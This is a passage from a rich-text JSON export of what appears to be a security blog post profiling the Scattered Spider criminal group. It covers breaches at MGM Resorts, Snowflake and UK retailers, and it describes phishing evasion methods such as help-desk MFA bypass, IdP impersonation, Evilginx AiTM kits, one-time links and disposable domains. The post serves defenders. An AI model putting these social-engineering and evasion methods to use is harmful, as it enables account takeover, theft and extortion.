ype":866},{},[122517],{"data":122518,"marks":122519,"value":115567,"nodeType":865},{},[],{"data":122521,"content":122522,"nodeType":1616},{},[122523,122532,122541],{"data":122524,"content":122525,"nodeType":1570},{},[122526],{"data":122527,"content":122528,"nodeType":866},{},[122529],{"data":122530,"marks":122531,"value":115580,"nodeType":865},{},[],{"data":122533,"content":122534,"nodeType":1570},{},[122535],{"data":122536,"content":122537,"nodeType":866},{},[122538],{"data":122539,"marks":122540,"value":115590,"nodeType":865},{},[],{"data":122542,"content":122543,"nodeType":1570},{},[122544],{"data":122545,"content":122546,"nodeType":866},{},[122547],{"data":122548,"marks":122549,"value":115600,"nodeType":865},{},[],{"data":122551,"content":122552,"nodeType":866},{},[122553],{"data":122554,"marks":122555,"value":115607,"nodeType":865},{},[],{"data":122557,"content":122558,"nodeType":981},{},[122559],{"data":122560,"marks":122561,"value":115614,"nodeType":865},{},[],{"data":122563,"content":122564,"nodeType":866},{},[122565],{"data":122566,"marks":122567,"value":115621,"nodeType":865},{},[],{"data":122569,"content":122572,"nodeType":912},{"target":122570},{"sys":122571},{"id":115626,"type":909,"linkType":910},[],{"data":122574,"content":122575,"nodeType":866},{},[122576],{"data":122577,"marks":122578,"value":115634,"nodeType":865},{},[],{"data":122580,"content":122581,"nodeType":981},{},[122582],{"data":122583,"marks":122584,"value":115641,"nodeType":865},{},[],{"data":122586,"content":122587,"nodeType":866},{},[122588,122591,122597],{"data":122589,"marks":122590,"value":115648,"nodeType":865},{},[],{"data":122592,"content":122593,"nodeType":889},{"uri":54299},[122594],{"data":122595,"marks":122596,"value":115655,"nodeType":865},{},[],{"data":122598,"marks":122599,"value":115659,"nodeType":865},{},[],{"data":122601,"content":122604,"nodeType":912},{"target":122602},{"sys":122603},{"id":54408,"type":909,"linkType":910},[],{"data":122606,"content":122607,"nodeType":1317},{},[122608],{"data":122609,"marks":122610,"value":115671,"nodeType":865},{},[],{"data":122612,"content":122613,"nodeType":866},{},[122614,122617,122624],{"data":122615,"marks":122616,"value":115678,"nodeType":865},{},[],{"data":122618,"content":122619,"nodeType":889},{"uri":115681},[122620],{"data":122621,"marks":122622,"value":115687,"nodeType":865},{},[122623],{"type":943},{"data":122625,"marks":122626,"value":115691,"nodeType":865},{},[],{"data":122628,"content":122629,"nodeType":866},{},[122630,122633,122640],{"data":122631,"marks":122632,"value":115698,"nodeType":865},{},[],{"data":122634,"content":122635,"nodeType":889},{"uri":53413},[122636],{"data":122637,"marks":122638,"value":53419,"nodeType":865},{},[122639],{"type":943},{"data":122641,"marks":122642,"value":115709,"nodeType":865},{},[],{"data":122644,"content":122645,"nodeType":866},{},[122646],{"data":122647,"marks":122648,"value":115716,"nodeType":865},{},[],{"data":122650,"content":122651,"nodeType":866},{},[122652],{"data":122653,"marks":122654,"value":115723,"nodeType":865},{},[],{"data":122656,"content":122657,"nodeType":1317},{},[122658],{"data":122659,"marks":122660,"value":115730,"nodeType":865},{},[],{"data":122662,"content":122663,"nodeType":866},{},[122664],{"data":122665,"marks":122666,"value":115737,"nodeType":865},{},[],{"data":122668,"content":122669,"nodeType":866},{},[122670],{"data":122671,"marks":122672,"value":115744,"nodeType":865},{},[],{"data":122674,"content":122675,"nodeType":981},{},[122676],{"data":122677,"marks":122678,"value":115751,"nodeType":865},{},[],{"data":122680,"content":122681,"nodeType":866},{},[122682],{"data":122683,"marks":122684,"value":115758,"nodeType":865},{},[],{"data":122686,"content":122687,"nodeType":866},{},[122688,122691,122698],{"data":122689,"marks":122690,"value":115765,"nodeType":865},{},[],{"data":122692,"content":122693,"nodeType":889},{"uri":115768},[122694],{"data":122695,"marks":122696,"value":115774,"nodeType":865},{},[122697],{"type":943},{"data":122699,"marks":122700,"value":115778,"nodeType":865},{},[],{"data":122702,"content":122703,"nodeType":866},{},[122704],{"data":122705,"marks":122706,"value":115785,"nodeType":865},{},[],{"data":122708,"content":122709,"nodeType":866},{},[122710],{"data":122711,"marks":122712,"value":115792,"nodeType":865},{},[],{"data":122714,"content":122717,"nodeType":912},{"target":122715},{"sys":122716},{"id":115797,"type":909,"linkType":910},[],{"data":122719,"content":122720,"nodeType":981},{},[122721],{"data":122722,"marks":122723,"value":54483,"nodeType":865},{},[],{"data":122725,"content":122726,"nodeType":866},{},[122727],{"data":122728,"marks":122729,"value":115811,"nodeType":865},{},[],{"data":122731,"content":122732,"nodeType":866},{},[122733,122736,122740,122743,122747],{"data":122734,"marks":122735,"value":115818,"nodeType":865},{},[],{"data":122737,"marks":122738,"value":58582,"nodeType":865},{},[122739],{"type":926},{"data":122741,"marks":122742,"value":115826,"nodeType":865},{},[],{"data":122744,"marks":122745,"value":115831,"nodeType":865},{},[122746],{"type":926},{"data":122748,"marks":122749,"value":115835,"nodeType":865},{},[],{"data":122751,"content":122754,"nodeType":912},{"target":122752},{"sys":122753},{"id":115840,"type":909,"linkType":910},[],{"data":122756,"content":122757,"nodeType":866},{},[122758,122761,122768],{"data":122759,"marks":122760,"value":115848,"nodeType":865},{},[],{"data":122762,"content":122763,"nodeType":889},{"uri":16069},[122764],{"data":122765,"marks":122766,"value":14066,"nodeType":865},{},[122767],{"type":943},{"data":122769,"marks":122770,"value":115859,"nodeType":865},{},[],{"data":122772,"content":122775,"nodeType":912},{"target":122773},{"sys":122774},{"id":115864,"type":909,"linkType":910},[],{"data":122777,"content":122778,"nodeType":866},{},[122779],{"data":122780,"marks":122781,"value":21,"nodeType":865},{},[],{"items":122783},[122784],{"sys":122785,"name":297},{"id":2310},{"items":122787},[122788],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":122789},{"url":4618},{"__typename":1429,"sys":122791,"content":122792,"title":87655,"synopsis":124107,"hashTags":59,"publishedDate":124108,"slug":87656,"tagsCollection":124109,"authorsCollection":124115},{"id":80584},{"json":122793},{"data":122794,"content":122795,"nodeType":1382},{},[122796,122801,122809,122816,122844,122850,122858,122887,122929,122935,122943,122961,122967,122970,122978,122985,122991,123032,123163,123166,123174,123181,123189,123220,123226,123234,123254,123261,123267,123274,123280,123299,123307,123325,123333,123340,123347,123350,123358,123365,123371,123378,123386,123404,123411,123417,123425,123432,123439,123470,123476,123483,123491,123498,123503,123534,123542,123562,123569,123575,123583,123603,123610,123673,123679,123682,123690,123697,123704,123735,123738,123746,123754,123760,123767,123775,123781,123788,123795,123801,123808,123816,123823,123830,123837,123856,123875,123882,123889,123895,123902,123910,123917,123924,123930,123937,123945,123952,123959,123966,123972,123979,123987,123994,124012,124018,124025,124042,124047,124053,124069,124074,124077,124084,124091],{"data":122797,"content":122800,"nodeType":912},{"target":122798},{"sys":122799},{"id":53916,"type":909,"linkType":910},[],{"data":122802,"content":122803,"nodeType":981},{},[122804],{"data":122805,"marks":122806,"value":122808,"nodeType":865},{},[122807],{"type":926},"Background: Who are Scattered Spider?",{"data":122810,"content":122811,"nodeType":866},{},[122812],{"data":122813,"marks":122814,"value":122815,"nodeType":865},{},[],"Scattered Spider (also tracked as 0ktapus, Octo Tempest, Scatter Swine, Muddled Libra, and UNC3944) is a native English speaking, financially motivated criminal collective known for high-profile cyber breaches in recent years, including MoneyGram, Transport for London, Caesars, MGM Resorts, Clorox, DoorDash, Twilio, Reddit, Coinbase, MailChimp, Okta, HubSpot, Cloudflare, Activision, Pure Storage, and the ongoing Marks & Spencer, Co-op, and Harrods incidents.",{"data":122817,"content":122818,"nodeType":866},{},[122819,122823,122830,122833,122840],{"data":122820,"marks":122821,"value":122822,"nodeType":865},{},[],"Scattered Spider shares similar characteristics and TTPs with a number of named threat groups such as ",{"data":122824,"content":122825,"nodeType":889},{"uri":119492},[122826],{"data":122827,"marks":122828,"value":119498,"nodeType":865},{},[122829],{"type":943},{"data":122831,"marks":122832,"value":3476,"nodeType":865},{},[],{"data":122834,"content":122835,"nodeType":889},{"uri":3488},[122836],{"data":122837,"marks":122838,"value":3825,"nodeType":865},{},[122839],{"type":943},{"data":122841,"marks":122842,"value":122843,"nodeType":865},{},[]," (behind the Snowflake attacks in 2024).",{"data":122845,"content":122849,"nodeType":912},{"target":122846},{"sys":122847},{"id":122848,"type":909,"linkType":910},"4sgT2Jw3iODUTdG2oPOrFC",[],{"data":122851,"content":122852,"nodeType":1317},{},[122853],{"data":122854,"marks":122855,"value":122857,"nodeType":865},{},[122856],{"type":926},"Case study: MGM Resorts",{"data":122859,"content":122860,"nodeType":866},{},[122861,122865,122872,122876,122883],{"data":122862,"marks":122863,"value":122864,"nodeType":865},{},[],"One of Scattered Spider’s most notorious and well-documented attacks was that affecting ",{"data":122866,"content":122867,"nodeType":889},{"uri":115681},[122868],{"data":122869,"marks":122870,"value":115687,"nodeType":865},{},[122871],{"type":943},{"data":122873,"marks":122874,"value":122875,"nodeType":865},{},[],". Scattered Spider socially engineered MGM Resorts helpdesk personnel bypass MFA and log into accounts for which they had acquired valid login credentials for via credential phishing and historical infostealer compromises. They specifically targeted accounts with Super Administrator privileges within MGM Resorts’ Okta tenant, which they then used to register a second, attacker-controlled IdP via ",{"data":122877,"content":122878,"nodeType":889},{"uri":53413},[122879],{"data":122880,"marks":122881,"value":53419,"nodeType":865},{},[122882],{"type":943},{"data":122884,"marks":122885,"value":122886,"nodeType":865},{},[],", which enabled them to impersonate any user within the Okta tenant. This then enabled them to abuse SSO access to downstream apps and platforms from various accounts, culminating in deployment of ransomware to around 100 ESXi servers and data exfiltration. ",{"data":122888,"content":122889,"nodeType":866},{},[122890,122894,122899,122903,122908,122912,122917,122921,122926],{"data":122891,"marks":122892,"value":122893,"nodeType":865},{},[],"The breach resulted in a ",{"data":122895,"marks":122896,"value":122898,"nodeType":865},{},[122897],{"type":926},"36-hour outage",{"data":122900,"marks":122901,"value":122902,"nodeType":865},{},[],", a ",{"data":122904,"marks":122905,"value":122907,"nodeType":865},{},[122906],{"type":926},"$100M ",{"data":122909,"marks":122910,"value":122911,"nodeType":865},{},[],"hit to its Q3 results, one-time cyber consulting fees in the region of ",{"data":122913,"marks":122914,"value":122916,"nodeType":865},{},[122915],{"type":926},"$10M",{"data":122918,"marks":122919,"value":122920,"nodeType":865},{},[],", and a class-action lawsuit later settled for ",{"data":122922,"marks":122923,"value":122925,"nodeType":865},{},[122924],{"type":926},"$45M",{"data":122927,"marks":122928,"value":14251,"nodeType":865},{},[],{"data":122930,"content":122934,"nodeType":912},{"target":122931},{"sys":122932},{"id":122933,"type":909,"linkType":910},"2vYvBXqFeKt7Ix0Ynh8cZu",[],{"data":122936,"content":122937,"nodeType":1317},{},[122938],{"data":122939,"marks":122940,"value":122942,"nodeType":865},{},[122941],{"type":926},"Case Study: Snowflake",{"data":122944,"content":122945,"nodeType":866},{},[122946,122950,122957],{"data":122947,"marks":122948,"value":122949,"nodeType":865},{},[],"Members of Scattered Spider have been affiliated with ShinyHunters, the group behind the ",{"data":122951,"content":122952,"nodeType":889},{"uri":3488},[122953],{"data":122954,"marks":122955,"value":122956,"nodeType":865},{},[],"Snowflake breaches in mid-2024",{"data":122958,"marks":122959,"value":122960,"nodeType":865},{},[],". ShinyHunters associates targeted ~165 organizations that were subjected to account takeover attacks using stolen credentials harvested from historical infostealer infections dating back as far as 2020, according to Mandiant’s investigation. In total, 9 public victims were named following the breach, collectively impacting hundreds of millions of people. Snowflake was a watershed moment that signalled the significant opportunity presented by identity attacks on cloud services. It demonstrated how comparatively unsophisticated methods (logging in to user accounts with stolen credentials and dumping the data) can have the same or greater impact as a traditional network or endpoint based cyber attack involving vulnerability exploitation, malware deployment, ransomware, etc.",{"data":122962,"content":122966,"nodeType":912},{"target":122963},{"sys":122964},{"id":122965,"type":909,"linkType":910},"49nJMPQjQ37Mfr2yWA56P3",[],{"data":122968,"content":122969,"nodeType":972},{},[],{"data":122971,"content":122972,"nodeType":981},{},[122973],{"data":122974,"marks":122975,"value":122977,"nodeType":865},{},[122976],{"type":926},"Arrests haven’t slowed Scattered Spider",{"data":122979,"content":122980,"nodeType":866},{},[122981],{"data":122982,"marks":122983,"value":122984,"nodeType":865},{},[],"In late 2024 following the Transport for London attacks (which resulted in prolonged disruption to key online services underpinning London’s public transport network, theft of 5,000 users bank details, and all 30,000 staff members having to reset their online credentials in person) a series of arrests were made in the UK and USA. ",{"data":122986,"content":122990,"nodeType":912},{"target":122987},{"sys":122988},{"id":122989,"type":909,"linkType":910},"2X2nyhO2hOqm9f0Le4lDC5",[],{"data":122992,"content":122993,"nodeType":866},{},[122994,122998,123006,123009,123016,123019,123028],{"data":122995,"marks":122996,"value":122997,"nodeType":865},{},[],"However, this doesn’t seem to have impacted Scattered Spider’s ability to operate, with the ongoing campaign against UK retail companies including ",{"data":122999,"content":123001,"nodeType":889},{"uri":123000},"https://www.bleepingcomputer.com/news/security/marks-and-spencer-breach-linked-to-scattered-spider-ransomware-attack/",[123002],{"data":123003,"marks":123004,"value":53933,"nodeType":865},{},[123005],{"type":943},{"data":123007,"marks":123008,"value":2717,"nodeType":865},{},[],{"data":123010,"content":123011,"nodeType":889},{"uri":53939},[123012],{"data":123013,"marks":123014,"value":53945,"nodeType":865},{},[123015],{"type":943},{"data":123017,"marks":123018,"value":3476,"nodeType":865},{},[],{"data":123020,"content":123022,"nodeType":889},{"uri":123021},"https://www.bleepingcomputer.com/news/security/harrods-the-next-uk-retailer-targeted-in-a-cyberattack/",[123023],{"data":123024,"marks":123025,"value":123027,"nodeType":865},{},[123026],{"type":943},"Harrods",{"data":123029,"marks":123030,"value":123031,"nodeType":865},{},[]," being strongly linked to Scattered Spider. Beginning on Easter weekend, the Marks and Spencer attack has had the biggest impact so far, resulting in severe disruption to the retailer with agency staff told not to come into work, online shopping services being taken offline, stores running low on products, £300M in lost profits, and almost £1B wiped off the company’s stock market valuation at one stage. ",{"data":123033,"content":123034,"nodeType":866},{},[123035,123038,123045,123048,123055,123058,123065,123068,123075,123078,123085,123088,123095,123098,123105,123109,123115,123118,123124,123127,123133,123136,123142,123145,123151,123154,123160],{"data":123036,"marks":123037,"value":53956,"nodeType":865},{},[],{"data":123039,"content":123040,"nodeType":889},{"uri":53959},[123041],{"data":123042,"marks":123043,"value":53965,"nodeType":865},{},[123044],{"type":943},{"data":123046,"marks":123047,"value":2717,"nodeType":865},{},[],{"data":123049,"content":123050,"nodeType":889},{"uri":53971},[123051],{"data":123052,"marks":123053,"value":53977,"nodeType":865},{},[123054],{"type":943},{"data":123056,"marks":123057,"value":2717,"nodeType":865},{},[],{"data":123059,"content":123060,"nodeType":889},{"uri":53983},[123061],{"data":123062,"marks":123063,"value":53989,"nodeType":865},{},[123064],{"type":943},{"data":123066,"marks":123067,"value":2717,"nodeType":865},{},[],{"data":123069,"content":123070,"nodeType":889},{"uri":53995},[123071],{"data":123072,"marks":123073,"value":54001,"nodeType":865},{},[123074],{"type":943},{"data":123076,"marks":123077,"value":2717,"nodeType":865},{},[],{"data":123079,"content":123080,"nodeType":889},{"uri":54007},[123081],{"data":123082,"marks":123083,"value":54013,"nodeType":865},{},[123084],{"type":943},{"data":123086,"marks":123087,"value":2717,"nodeType":865},{},[],{"data":123089,"content":123090,"nodeType":889},{"uri":54019},[123091],{"data":123092,"marks":123093,"value":54025,"nodeType":865},{},[123094],{"type":943},{"data":123096,"marks":123097,"value":3476,"nodeType":865},{},[],{"data":123099,"content":123100,"nodeType":889},{"uri":54031},[123101],{"data":123102,"marks":123103,"value":54037,"nodeType":865},{},[123104],{"type":943},{"data":123106,"marks":123107,"value":123108,"nodeType":865},{},[]," were among the retailers to suffer a breach between May-June 2025. More recently, Scattered Spider has targeted U.S. insurance giant ",{"data":123110,"content":123111,"nodeType":889},{"uri":54051},[123112],{"data":123113,"marks":123114,"value":54057,"nodeType":865},{},[],{"data":123116,"marks":123117,"value":2717,"nodeType":865},{},[],{"data":123119,"content":123120,"nodeType":889},{"uri":54063},[123121],{"data":123122,"marks":123123,"value":54069,"nodeType":865},{},[],{"data":123125,"marks":123126,"value":2717,"nodeType":865},{},[],{"data":123128,"content":123129,"nodeType":889},{"uri":54076},[123130],{"data":123131,"marks":123132,"value":54082,"nodeType":865},{},[],{"data":123134,"marks":123135,"value":2717,"nodeType":865},{},[],{"data":123137,"content":123138,"nodeType":889},{"uri":54100},[123139],{"data":123140,"marks":123141,"value":54105,"nodeType":865},{},[],{"data":123143,"marks":123144,"value":2717,"nodeType":865},{},[],{"data":123146,"content":123147,"nodeType":889},{"uri":54100},[123148],{"data":123149,"marks":123150,"value":54115,"nodeType":865},{},[],{"data":123152,"marks":123153,"value":3476,"nodeType":865},{},[],{"data":123155,"content":123156,"nodeType":889},{"uri":54089},[123157],{"data":123158,"marks":123159,"value":54094,"nodeType":865},{},[],{"data":123161,"marks":123162,"value":1615,"nodeType":865},{},[],{"data":123164,"content":123165,"nodeType":972},{},[],{"data":123167,"content":123168,"nodeType":981},{},[123169],{"data":123170,"marks":123171,"value":123173,"nodeType":865},{},[123172],{"type":926},"Scattered Spider TTP analysis",{"data":123175,"content":123176,"nodeType":866},{},[123177],{"data":123178,"marks":123179,"value":123180,"nodeType":865},{},[],"Along with a clear MO (financial gain via data exfiltration and extortion) Scattered Spider has demonstrated a pattern of go-to TTPs over recent years. ",{"data":123182,"content":123183,"nodeType":1317},{},[123184],{"data":123185,"marks":123186,"value":123188,"nodeType":865},{},[123187],{"type":926},"Social engineering, help desk scams, and SIM swapping",{"data":123190,"content":123191,"nodeType":866},{},[123192,123196,123205,123208,123216],{"data":123193,"marks":123194,"value":123195,"nodeType":865},{},[],"The public breaches associated with Scattered Spider have predominantly featured social engineering heavy initial access, mainly through help desk scams where the attacker contacts support personnel specifically to bypass MFA for accounts where they have acquired valid credentials via credential phishing or infostealers, but cannot access the account due the additional layer of protection. They have similarly used ",{"data":123197,"content":123199,"nodeType":889},{"uri":123198},"https://cloud.google.com/blog/topics/threat-intelligence/unc3944-sms-phishing-sim-swapping-ransomware/",[123200],{"data":123201,"marks":123202,"value":123204,"nodeType":865},{},[123203],{"type":943},"SIM swapping, smishing",{"data":123206,"marks":123207,"value":4988,"nodeType":865},{},[],{"data":123209,"content":123210,"nodeType":889},{"uri":53203},[123211],{"data":123212,"marks":123213,"value":123215,"nodeType":865},{},[123214],{"type":943},"MFA fatigue/push bombing",{"data":123217,"marks":123218,"value":123219,"nodeType":865},{},[]," to achieve account takeover.",{"data":123221,"content":123225,"nodeType":912},{"target":123222},{"sys":123223},{"id":123224,"type":909,"linkType":910},"2Z7qnaK4LXRhnQDvPT2ZXe",[],{"data":123227,"content":123228,"nodeType":1317},{},[123229],{"data":123230,"marks":123231,"value":123233,"nodeType":865},{},[123232],{"type":926},"Impersonating and targeting SaaS services",{"data":123235,"content":123236,"nodeType":866},{},[123237,123241,123250],{"data":123238,"marks":123239,"value":123240,"nodeType":865},{},[],"Scattered Spider have also been known to ",{"data":123242,"content":123244,"nodeType":889},{"uri":123243},"https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications",[123245],{"data":123246,"marks":123247,"value":123249,"nodeType":865},{},[123248],{"type":943},"target SaaS applications and cloud services",{"data":123251,"marks":123252,"value":123253,"nodeType":865},{},[]," — both as part of their phishing strategies by impersonating app providers, as well as in their lateral movement and exploitation when an identity has been compromised. This has included applications such as vCenter, CyberArk, SalesForce, Azure, CrowdStrike, AWS, and GCP. ",{"data":123255,"content":123256,"nodeType":866},{},[123257],{"data":123258,"marks":123259,"value":123260,"nodeType":865},{},[],"When conducting phishing campaigns, they’ve created custom domains for their phishing sites based on the organizations they are targeting: ",{"data":123262,"content":123266,"nodeType":912},{"target":123263},{"sys":123264},{"id":123265,"type":909,"linkType":910},"3ufdtfyJpZ4FUWbKR2yNNm",[],{"data":123268,"content":123269,"nodeType":866},{},[123270],{"data":123271,"marks":123272,"value":123273,"nodeType":865},{},[],"And they have impersonated many software brands — either as targets themselves, or as convincing third-parties to lure their targets to interact with. ",{"data":123275,"content":123279,"nodeType":912},{"target":123276},{"sys":123277},{"id":123278,"type":909,"linkType":910},"XgrG1qKwXrpd399BwkHiR",[],{"data":123281,"content":123282,"nodeType":866},{},[123283,123287,123296],{"data":123284,"marks":123285,"value":123286,"nodeType":865},{},[],"(Shout out to the excellent analysis by the folks at ",{"data":123288,"content":123290,"nodeType":889},{"uri":123289},"https://www.silentpush.com/blog/scattered-spider-2025/#h-new-scattered-spider-ttps-for-2025",[123291],{"data":123292,"marks":123293,"value":123295,"nodeType":865},{},[123294],{"type":943},"Silent Push",{"data":123297,"marks":123298,"value":40358,"nodeType":865},{},[],{"data":123300,"content":123301,"nodeType":1317},{},[123302],{"data":123303,"marks":123304,"value":123306,"nodeType":865},{},[123305],{"type":926},"Targeting identity providers to abuse OAuth and SSO",{"data":123308,"content":123309,"nodeType":866},{},[123310,123314,123321],{"data":123311,"marks":123312,"value":123313,"nodeType":865},{},[],"A key part of this approach is abusing OAuth by targeting identity providers (IdPs) such as Okta and Microsoft Entra. By compromising IdP accounts with administrator privileges, Scattered Spider has leveraged techniques such as ",{"data":123315,"content":123316,"nodeType":889},{"uri":53413},[123317],{"data":123318,"marks":123319,"value":53419,"nodeType":865},{},[123320],{"type":943},{"data":123322,"marks":123323,"value":123324,"nodeType":865},{},[]," to gain unrestricted access to the identities within the target IdP tenant (the equivalent of a full Active Directory compromise on-premise).",{"data":123326,"content":123327,"nodeType":1317},{},[123328],{"data":123329,"marks":123330,"value":123332,"nodeType":865},{},[123331],{"type":926},"Encryption of cloud servers and data theft for extortion",{"data":123334,"content":123335,"nodeType":866},{},[123336],{"data":123337,"marks":123338,"value":123339,"nodeType":865},{},[],"When executing the final stages of an attack, Scattered Spider first exfiltrates data through a variety of methods, even using SaaS services such as DropBox and FiveTran to extract copies of high-value service databases, such as SalesForce and ZenDesk, using API connectors. ",{"data":123341,"content":123342,"nodeType":866},{},[123343],{"data":123344,"marks":123345,"value":123346,"nodeType":865},{},[],"In a typical \"double-extortion\" style, they then deploy ransomware by targeting cloud server environments such as VMWare ESXi (specifically to avoid security tools by targeting the hypervisor layer). Scattered Spider have been known to act as affiliates for various ransomware operations, including RansomHub, Qilin, and DragonForce.",{"data":123348,"content":123349,"nodeType":972},{},[],{"data":123351,"content":123352,"nodeType":981},{},[123353],{"data":123354,"marks":123355,"value":123357,"nodeType":865},{},[123356],{"type":926},"Scattered Spider TTP evolution in 2025",{"data":123359,"content":123360,"nodeType":866},{},[123361],{"data":123362,"marks":123363,"value":123364,"nodeType":865},{},[],"In 2025, security researchers have observed a significant increase in Scattered Spider phishing activity, particularly in the form of MFA-bypassing Attacker-in-the-Middle (AiTM) phishing pages. ",{"data":123366,"content":123370,"nodeType":912},{"target":123367},{"sys":123368},{"id":123369,"type":909,"linkType":910},"2jH5TrpHueIE8qpU3lunJi",[],{"data":123372,"content":123373,"nodeType":866},{},[123374],{"data":123375,"marks":123376,"value":123377,"nodeType":865},{},[],"Along with this shift, a number of TTPs have been observed relating to detection evasion measures implemented on these phishing pages.",{"data":123379,"content":123380,"nodeType":1317},{},[123381],{"data":123382,"marks":123383,"value":123385,"nodeType":865},{},[123384],{"type":926},"Rapid phishing domain rotation",{"data":123387,"content":123388,"nodeType":866},{},[123389,123392,123400],{"data":123390,"marks":123391,"value":21,"nodeType":865},{},[],{"data":123393,"content":123394,"nodeType":889},{"uri":123289},[123395],{"data":123396,"marks":123397,"value":123399,"nodeType":865},{},[123398],{"type":943},"According to researchers",{"data":123401,"marks":123402,"value":123403,"nodeType":865},{},[]," Scattered Spider have been observed using phishing pages hosted on short-lived domains that included specific keywords such as “okta,” “sso,” “help,” “hr,” “corp,” “my,” “internal,” “sso,” or “vpn,”, which were quickly operationalized within minutes of registering a domain. After a couple of hours, the domain would often be taken down by the registrar. However, as we’ve discussed in various blog posts, this is to be expected. Domains are highly disposable by nature and attackers plan to get through them in large numbers. They don’t need their phishing pages to live indefinitely — just as long as it takes for someone to be successfully phished.",{"data":123405,"content":123406,"nodeType":866},{},[123407],{"data":123408,"marks":123409,"value":123410,"nodeType":865},{},[],"You would expect these kinds of untrusted links to be flagged by enterprise security tools, but through clever use of obfuscation methods such as using legitimate apps to host the phishing link, using an initially benign link to a document or other source with the malicious link, or avoiding email as the delivery vector altogether, network and email-based controls are being routinely bypassed.  ",{"data":123412,"content":123416,"nodeType":912},{"target":123413},{"sys":123414},{"id":123415,"type":909,"linkType":910},"2DviJNOMbKgbcqwkNl0LDP",[],{"data":123418,"content":123419,"nodeType":1317},{},[123420],{"data":123421,"marks":123422,"value":123424,"nodeType":865},{},[123423],{"type":926},"Using custom subdomains that allow public registrations",{"data":123426,"content":123427,"nodeType":866},{},[123428],{"data":123429,"marks":123430,"value":123431,"nodeType":865},{},[],"Scattered Spider have been observed registering their malicious domains on publicly rentable subdomains such as it[.]com. This limits the information that can be gathered about the domain (for example, preventing WHOIS information from being accessed) ",{"data":123433,"content":123434,"nodeType":866},{},[123435],{"data":123436,"marks":123437,"value":123438,"nodeType":865},{},[],"This is incredibly deceptive to the user and will fool many people glancing at the link. It doesn’t look as obviously suspicious as the typical .xyz or .biz, and has the feel of a legitimate domain. As these convincing rentable subdomains start to appear online more frequently, it becomes easier for attackers to pick up convincing domain names with fewer obvious deviations from the real one, without needing to resort to special characters or other tactics that might be spotted. ",{"data":123440,"content":123441,"nodeType":866},{},[123442,123446,123454,123458,123466],{"data":123443,"marks":123444,"value":123445,"nodeType":865},{},[],"This is strikingly similar ",{"data":123447,"content":123448,"nodeType":889},{"uri":70881},[123449],{"data":123450,"marks":123451,"value":123453,"nodeType":865},{},[123452],{"type":943},"to an attack we investigated recently",{"data":123455,"marks":123456,"value":123457,"nodeType":865},{},[],", where an attacker was using the us[.]com domain to impersonate Onfido, the digital identity platform. These malicious links were actually distributed via malicious advertising on Google, which is an increasingly popular tactic ",{"data":123459,"content":123460,"nodeType":889},{"uri":7112},[123461],{"data":123462,"marks":123463,"value":123465,"nodeType":865},{},[123464],{"type":943},"to evade email and network detection controls",{"data":123467,"marks":123468,"value":123469,"nodeType":865},{},[]," for phishing links and pages. ",{"data":123471,"content":123475,"nodeType":912},{"target":123472},{"sys":123473},{"id":123474,"type":909,"linkType":910},"34ZpjuFhaSMC6MtjThQsnK",[],{"data":123477,"content":123478,"nodeType":866},{},[123479],{"data":123480,"marks":123481,"value":123482,"nodeType":865},{},[],"This comparison is also interesting when you consider…",{"data":123484,"content":123485,"nodeType":1317},{},[123486],{"data":123487,"marks":123488,"value":123490,"nodeType":865},{},[123489],{"type":926},"Using commercial AiTM toolkits like Evilginx to bypass MFA and evade detection",{"data":123492,"content":123493,"nodeType":866},{},[123494],{"data":123495,"marks":123496,"value":123497,"nodeType":865},{},[],"Scattered Spider have been observed frequently using Evilginx as their phishing kit of choice. Evilginx is a great choice for attackers looking to target non-standard web apps because it is capable of emulating a range of domains — it’s designed to be flexible and work for any page without generating a load of custom JavaScript that might stand out to security tools/analysts. See an example of Evilginx being used to phish a user below.",{"data":123499,"content":123502,"nodeType":912},{"target":123500},{"sys":123501},{"id":105475,"type":909,"linkType":910},[],{"data":123504,"content":123505,"nodeType":866},{},[123506,123510,123519,123523,123530],{"data":123507,"marks":123508,"value":123509,"nodeType":865},{},[],"By default, Evilginx redirects any site visitor not following the correct url path or supplying the correct parameters to the YouTube video for Rick Astley’s “Never Gonna Give You Up” (aka “Rickrolling”). This behavior has been observed on Scattered Spider phishing sites. Interestingly, we also observed this in the Onfido malvertising example above, ",{"data":123511,"content":123513,"nodeType":889},{"uri":123512},"https://www.linkedin.com/feed/update/urn:li:activity:7323102794813505536?commentUrn=urn%3Ali%3Acomment%3A%28activity%3A7323102794813505536%2C7323308731813814272%29&dashCommentUrn=urn%3Ali%3Afsd_comment%3A%287323308731813814272%2Curn%3Ali%3Aactivity%3A7323102794813505536%29",[123514],{"data":123515,"marks":123516,"value":123518,"nodeType":865},{},[123517],{"type":943},"while members of the infosec community",{"data":123520,"marks":123521,"value":123522,"nodeType":865},{},[]," are increasingly seeing phishing attacks with this behavior. (This example also features use of ",{"data":123524,"content":123525,"nodeType":889},{"uri":104005},[123526],{"data":123527,"marks":123528,"value":66867,"nodeType":865},{},[123529],{"type":943},{"data":123531,"marks":123532,"value":123533,"nodeType":865},{},[]," to prevent analysis of the malicious link by hiding it behind a legit Microsoft app consent page, another detection evasion tactic). ",{"data":123535,"content":123536,"nodeType":1317},{},[123537],{"data":123538,"marks":123539,"value":123541,"nodeType":865},{},[123540],{"type":926},"Pre-populating victim information using targeted phishing links",{"data":123543,"content":123544,"nodeType":866},{},[123545,123549,123558],{"data":123546,"marks":123547,"value":123548,"nodeType":865},{},[],"A general trend that we’re seeing in the wild, also utilized by Scattered Spider, is phishing attacks becoming increasingly targeted. This includes using redirects to legitimate apps unless specific parameters are supplied, ",{"data":123550,"content":123552,"nodeType":889},{"uri":123551},"https://www.bleepingcomputer.com/news/security/phishing-kits-now-vet-victims-in-real-time-before-stealing-credentials/",[123553],{"data":123554,"marks":123555,"value":123557,"nodeType":865},{},[123556],{"type":943},"only loading malicious content for specific usernames",{"data":123559,"marks":123560,"value":123561,"nodeType":865},{},[]," (and redirecting to benign sites otherwise) implementing the use of one-time phishing links (essentially magic links that work once for the victim, preventing security teams or tools from accessing the page to analyse it later), and pre-populating the victim information on the page to make it feel more genuine (you would expect a website you have visited and logged into before to pre-populate some of your details, like your username/email). ",{"data":123563,"content":123564,"nodeType":866},{},[123565],{"data":123566,"marks":123567,"value":123568,"nodeType":865},{},[],"See an example of this (along with a few of the detection evasion techniques we've mentioned) below. ",{"data":123570,"content":123574,"nodeType":912},{"target":123571},{"sys":123572},{"id":123573,"type":909,"linkType":910},"1zn1G6CutY0HBkXHUIo159",[],{"data":123576,"content":123577,"nodeType":1317},{},[123578],{"data":123579,"marks":123580,"value":123582,"nodeType":865},{},[123581],{"type":926},"Varying login pages 